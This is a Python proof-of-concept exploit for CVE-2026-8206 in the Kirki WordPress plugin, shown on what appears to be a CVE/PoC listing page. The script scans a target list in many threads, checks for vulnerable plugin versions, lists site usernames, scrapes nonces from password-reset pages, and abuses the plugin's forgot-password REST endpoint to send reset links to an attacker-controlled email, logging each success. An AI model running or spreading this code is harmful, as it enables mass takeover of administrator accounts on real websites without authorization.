5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-8206.py PY
# -*- coding: utf-8 -*-
from __future__ import print_function
import re
import sys
import os
import requests
from collections import defaultdict
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

ATTACKER_EMAIL = "[email protected]"  # PUT UR EMAIL HERE
DEFAULT_THREADS = 15

HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
}

GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
CYAN = '\033[96m'
RESET = '\033[0m'

BANNER = r"""
{0}╔══════════════════════════════════════════════════════════╗
║     CVE-2026-8206 - Kirki WordPress Plugin Exploit      ║
║           Mass Auto-Detect Nonce & Username              ║
╚══════════════════════════════════════════════════════════╝{1}
""".format(CYAN, RESET)

def normalize_url(url):
    url = url.strip()
    if not url.startswith(('http://', 'https://')):
        url = 'https://' + url
    return url.rstrip('/')

def version_tuple(v):
    try:
        return tuple(map(int, v.split('.')))
    except:
        return (0,0,0)

def detect_kirki(target):
    paths = ['kirki', 'kirki-test']
    for plugin_path in paths:
        readme_url = target + '/wp-content/plugins/' + plugin_path + '/readme.txt'
        try:
            r = requests.get(readme_url, headers=HEADERS, timeout=10, verify=False)
            if r.status_code == 200:
                match = re.search(r'Stable tag:\s*([0-9.]+)', r.text)
                if match:
                    version = match.group(1)
                    if version_tuple(version) <= (6, 0, 6):
                        return True, version
                    else:
                        return False, version
        except:
            pass

        css_url = target + '/wp-content/plugins/' + plugin_path + '/assets/css/kirki.min.css'
        try:
            r = requests.get(css_url, headers=HEADERS, timeout=10, verify=False, allow_redirects=True)
            if r.status_code == 200:
                final_url = r.url
                match = re.search(r'ver=([0-9.]+)', final_url)
                if match:
                    version = match.group(1)
                    if version_tuple(version) <= (6, 0, 6):
                        return True, version
                    else:
                        return False, version
        except:
            pass

    return False, None

def extract_nonces_from_html(html):
    nonces = set()
    patterns = [
        r'X-WP-ELEMENT-NONCE["\']?\s*:\s*["\']([a-f0-9]{8,})',
        r'nonce["\']?\s*:\s*["\']([a-f0-9]{8,})',
        r'data-nonce=["\']([a-f0-9]{8,})',
        r'kirki_nonce["\']?\s*:\s*["\']([a-f0-9]+)',
        r'name=["\']_wpnonce["\']\s+value=["\']([a-f0-9]+)',
        r'var\s+nonce\s*=\s*["\']([a-f0-9]+)',
        r'kirkiCompLib\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"',
        r'window\.wp_kirki\s*=\s*\{[^}]*nonce\s*:\s*"([a-f0-9]+)"',
        r'wp_kirki\s*=\s*\{[^}]*nonce\s*:\s*"([a-f0-9]+)"',
        r'\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"',
        r'<input[^>]+name=["\']_wpnonce["\'][^>]+value=["\']([a-f0-9]+)["\']',
        r'<input[^>]+value=["\']([a-f0-9]+)["\'][^>]+name=["\']_wpnonce["\']',
        r'<form[^>]+data-nonce=["\']([a-f0-9]+)["\']',
        r'<meta[^>]+name=["\']_wpnonce["\'][^>]+content=["\']([a-f0-9]+)["\']',
        r'<script[^>]*>.*?nonce\s*[:=]\s*["\']([a-f0-9]+)["\']',
        r'ajax_nonce["\']?\s*:\s*["\']([a-f0-9]+)',
        r'security["\']?\s*:\s*["\']([a-f0-9]+)',
        r'wpApiSettings\s*=\s*\{[^}]*nonce\s*:\s*["\']([a-f0-9]+)',
        r'wpRestNonce["\']?\s*:\s*["\']([a-f0-9]+)',
    ]
    for pat in patterns:
        matches = re.findall(pat, html, re.IGNORECASE | re.DOTALL)
        for m in matches:
            if isinstance(m, tuple):
                nonce_val = m[0]
            else:
                nonce_val = m
            if len(nonce_val) >= 8:
                nonces.add(nonce_val)
    return nonces

def get_all_nonces(target):
    nonce_sources = []
    urls_to_try = [
        target + '/',
        target + '/wp-login.php?action=lostpassword',
        target + '/forgot-password',
        target + '/reset-password',
        target + '/account/lost-password/',
        target + '/my-account/lost-password/',
        target + '/lost-password',
        target + '/members/password-reset/',
        target + '/login/lost-password/',
        target + '/?lostpassword=true',
        target + '/wp-login.php?action=lostpassword&redirect_to=' + target,
    ]
    for url in urls_to_try:
        try:
            r = requests.get(url, headers=HEADERS, timeout=10, verify=False)
            if r.status_code == 200:
                nonces = extract_nonces_from_html(r.text)
                for n in nonces:
                    nonce_sources.append((n, url))
        except:
            continue
    seen = set()
    unique = []
    for n, src in nonce_sources:
        if n not in seen:
            seen.add(n)
            unique.append((n, src))
    return unique

def exploit(target, username, attacker_email, nonce):
    payload = {
        'username': username,
        'email': attacker_email,
        'emailSubject': 'Password Reset',
        'emailBody': '[{"type":"text","value":"Click this link to reset your password:\n"},{"type":"chip","value":"reset_link"}]'
    }
    headers = HEADERS.copy()
    headers['X-WP-ELEMENT-NONCE'] = nonce
    headers['Content-Type'] = 'application/x-www-form-urlencoded'
    headers['Referer'] = target + '/'
    endpoint = target + '/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password'
    try:
        r = requests.post(endpoint, headers=headers, data=payload, timeout=15, verify=False)
        if r.status_code == 200 and 'Email sent' in r.text:
            return True
        if 'Not authorized' in r.text or r.status_code == 400:
            payload['_wpnonce'] = nonce
            payload['nonce'] = nonce
            r2 = requests.post(endpoint, headers=headers, data=payload, timeout=15, verify=False)
            if r2.status_code == 200 and 'Email sent' in r2.text:
                return True
        return False
    except:
        return False

def get_usernames(target):
    try:
        r = requests.get(target + '/wp-json/wp/v2/users', headers=HEADERS, timeout=10, verify=False)
        if r.status_code == 200:
            users = r.json()
            if users and 'slug' in users[0]:
                return [user['slug'] for user in users]
    except:
        pass
    return ['admin']

def worker(target, attacker_email):
    target = normalize_url(target)
    print("\n{}[+] Processing: {}{}".format(YELLOW, target, RESET))

    is_vuln, version = detect_kirki(target)
    if not is_vuln:
        if version:
            print("  {}[-] Kirki version {} (not vulnerable), skipping.{}".format(RED, version, RESET))
        else:
            print("  {}[-] Kirki plugin not detected, skipping.{}".format(RED, RESET))
        return
    else:
        print("  {}[✓] Vulnerable Kirki version {} detected.{}".format(GREEN, version, RESET))

    usernames = get_usernames(target)
    username = usernames[0]
    print("  {}[*] Username: {}{}".format(CYAN, username, RESET))

    nonce_list = get_all_nonces(target)
    if not nonce_list:
        print("  {}[-] No nonces found, skipping.{}".format(RED, target, RESET))
        return

    grouped = defaultdict(list)
    for n, src in nonce_list:
        grouped[src].append(n)

    print("  {}[*] Total unique nonces: {}{}".format(CYAN, len(nonce_list), RESET))
    for src, nonces in grouped.items():
        print("      nonce from {} => {}".format(src, len(nonces)))

    for nonce, src in nonce_list:
        sys.stdout.write("  {}[*] Testing nonce {} ...{}".format(YELLOW, nonce, RESET))
        sys.stdout.flush()
        if exploit(target, username, attacker_email, nonce):
            print(" {}VALID{}".format(GREEN, RESET))
            print("  {}[VALID] {} | {} (nonce: {}){}{}".format(GREEN, target, username, nonce, RESET))
            with open('res.txt', 'a') as f:
                f.write("{}|{}|{}|reset_link_sent_to_attacker_email\n".format(target, username, attacker_email))
            return
        else:
            print(" {}FAILED{}".format(RED, RESET))

    print("  {}[-] No valid nonce for {}{}".format(RED, target, RESET))

def main():
    print(BANNER)

    if len(sys.argv) < 2:
        print("{}[ERROR] Missing target file!{}".format(RED, RESET))
        print("\nUsage: {} <targets_file> [threads]".format(sys.argv[0]))
        print("Example: {} list.txt 20".format(sys.argv[0]))
        print("Threads default: {}\n".format(DEFAULT_THREADS))
        sys.exit(1)

    target_file = sys.argv[1]

    if not os.path.isfile(target_file):
        print("{}[ERROR] File '{}' not found!{}".format(RED, target_file, RESET))
        sys.exit(1)

    threads = DEFAULT_THREADS
    if len(sys.argv) > 2:
        try:
            threads = int(sys.argv[2])
            if threads <= 0:
                print("{}[ERROR] Threads must be a positive integer!{}".format(RED, RESET))
                sys.exit(1)
        except ValueError:
            print("{}[ERROR] Invalid threads value: '{}' (must be a number){}".format(RED, sys.argv[2], RESET))
            sys.exit(1)

    try:
        with open(target_file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]
    except IOError:
        print("{}[ERROR] Cannot read file {}!{}".format(RED, target_file, RESET))
        sys.exit(1)

    if not targets:
        print("{}[ERROR] No targets found in file!{}".format(RED, RESET))
        sys.exit(1)

    print("{}[INFO] Targets: {}, Threads: {}, Email: {}{}".format(YELLOW, len(targets), threads, ATTACKER_EMAIL, RESET))
    open('res.txt', 'w').close()

    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {executor.submit(worker, t, ATTACKER_EMAIL): t for t in targets}
        for future in as_completed(futures):
            try:
                future.result()
            except Exception as e:
                target = futures[future]
                print("{}[ERROR] {} -> {}{}".format(RED, target, str(e), RESET))

    print("\n{}[DONE] Results saved to res.txt{}".format(GREEN, RESET))

if __name__ == '__main__':
    main()